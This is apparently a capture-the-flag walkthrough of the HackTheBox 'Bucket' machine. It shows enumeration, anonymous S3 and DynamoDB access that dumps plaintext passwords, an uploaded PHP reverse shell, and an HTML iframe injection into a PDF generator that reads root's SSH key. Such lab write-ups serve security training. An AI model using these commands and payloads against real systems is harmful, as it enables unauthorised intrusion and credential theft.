Home Bucket
Post
Cancel
image alternative text

Bucket

Bucket is medium rated linux box, which is mostly about exploiting common bucket miscofigurations. Bucket is based on AWS technology(DynamoDB,S3)

ENUMERATION

NMAP

Let’s start NMAP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 10.10.10.212
Host is up (0.035s latency).
Not shown: 968 closed ports
PORT      STATE    SERVICE         VERSION
22/tcp    open     ssh             OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)

80/tcp    open     http            Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/

Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

WebPage on port 80

Add bucket.htb to hosts. We can see the webpage:

picture 32

After checking the source, we should add s3.bucket.htb to hosts file and check that page.

picture 33

Checking the s3:

picture 34

gobuster

Gobuster finds two directories:

picture 35

Directory enumeration

s3.bucket.htb/health

Without going into the details or checking the google, we can noteice something regarding dynamodb

picture 36

s3.bucket.htb/shell

Shell makes some kind of redirection

picture 37

AWSCLI

Apparently there is a way to interact with AWS Buckets using “awscli” which can be installed with apt!

Following “default” configuration will be used.

picture 38

1
2
3
4
5
luka@kali:~/htb/bucket$ aws configure
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name [None]: us-west-2
Default output format [None]: json

After configuration, i’ve checked what commands i can run. Listing of buckets

1
2
luka@kali:~/htb/bucket/lazys3$ aws s3 ls --endpoint-url http://s3.bucket.htb --no-sign-request
2021-01-26 13:05:03 adserver

Another command that can be used is dynamodb (few screenshots above, we’ve seen that s3 and dynamodb services are running.)

This is the main difference between s3 and dynamodb:

S3 is an object store, designed for large binary unstructured data. It can store individual objects up to 5 TB. The objects are aggregated into buckets. A bucket is like a namespace or a database table, or, if you prefer a file system analogy, it is like a disk drive. Buckets are always located in a particular region. You can easily set up cross-region replication for faster local access or backups. However, generally it’s best if one region is the reference data source, because multi-master replication with S3 is not easy to set up.

DynamoDB is a document database, or, if you like buzzwords, a NoSQL database. Although it can keep binary objects as well, it’s really designed for storing structured textual (JSON) data, supporting individual items up to 400 KB. DynamoDB stores items in tables, which can either be in a particular region or globally replicated. DynamoDB Global Tables supports multi-master replication, so clients can write into the same table or even the same item from multiple regions at the same time, with local access latency.

Reference: https://serverless.pub/s3-or-dynamodb/

1
2
3
4
5
6
luka@kali:~/htb/bucket/lazys3$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/ --no-sign-request
{
    "TableNames": [
        "users"
    ]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
luka@kali:~/htb/bucket/lazys3$ aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/ --no-sign-request
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}

Few usernames and passwords were found, but they cannot be anywhere right now.

Exploitation

Getting shell onto S3

We can upload to s3! So let’s upload PHP Reverse shell which we can execute on bucket.htb

1
2
luka@kali:~/htb/bucket$ aws s3 cp indexl.php s3://adserver/indexl.php --endpoint-url http://s3.bucket.htb --no-sign-request
upload: ./index.php to s3://adserver/index.php

Upload was successful

1
2
3
4
luka@kali:~/htb/bucket$ aws s3 ls s3://adserver/ --endpoint-url http://s3.bucket.htb --no-sign-request
                           PRE images/
2021-01-26 13:35:04       5344 index.html
2021-01-26 13:36:01       2397 index.php

And run it!

1
curl http://bucket.htb/index.php

Reverse shell was spawned:

picture 39

Finding SSH access as Roy

After checking the /etc/passwd, there is one potential user with password > roy, and credentials found before => “n2vM-<_K_Q:.Aa2” which worked for ssh.

picture 40

PRIVILEGE ESCALATION

Local Enumeration

picture 41

There is something else running locally on ports 8000 and 40951 (Port 4566 = 4566 dynamodb) as root! Port 40591 returns 404 so lets try port 8000

picture 42

According to the title, this might be interessting to us:

picture 43

Let’s set a tunnel (SSH local listener) on Kali:

1
ssh -L 8888:127.0.0.1:8000 -q -C -N roy@10.10.10.212

Unfortunately after checking the source code, this site doesn’t seem to do anything and it’s a static site.

picture 44

picture 45

Adding alerts table to dynamodb

Checking the index.php it seems like the script starts another dynamodb instance with TableName = alerts, etc.

This here will get tricky.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
roy@bucket:/var/www/bucket-app$ cat index.php                                                                        
<?php                                                     
require 'vendor/autoload.php';                  
use Aws\DynamoDb\DynamoDbClient;                                                                                     
if($_SERVER["REQUEST_METHOD"]==="POST") {                                                                            
        if($_POST["action"]==="get_alerts") {             
                date_default_timezone_set('America/New_York');                                                       
                $client = new DynamoDbClient([                                                                       
                        'profile' => 'default',                                                                      
                        'region'  => 'us-east-1',                                                                    
                        'version' => 'latest', 
                        'endpoint' => 'http://localhost:4566'
                ]);                                                                                                  
                                                          
                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',                                                                                                                                                                                           
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),                                                                                                                                          
                ));                                       
                                                          
                foreach ($iterator as $item) {  
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }                                         
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }                                                                                                            
}                                                 
else                                              
{                                             
?> 

We have seen the users table on dynamodb and but no alerts table. We can see in th script above that that script produces a PDF file and does not sanitize any input.

So let’s create the alerts table on s3:

1
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb

Table was created. this is the output

picture 46

HTML/iframe injection

Now its time to put a row/item to the table, which is going to be read when running the script.

1
aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"},"data": {"S": "<html><head></head><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}}' --return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb

Getting privileged shell

Now just call curl --data "action=get_alerts" http://localhost:8000/ and grab the results.pdf.

Convert openssh private key to rsa private key and set the privileges to chmod 600.

1
ssh-keygen -p -N "" -m pem -f id_rsa_openssh

And connect using the private key.

picture 47

This post is licensed under CC BY 4.0 by the author.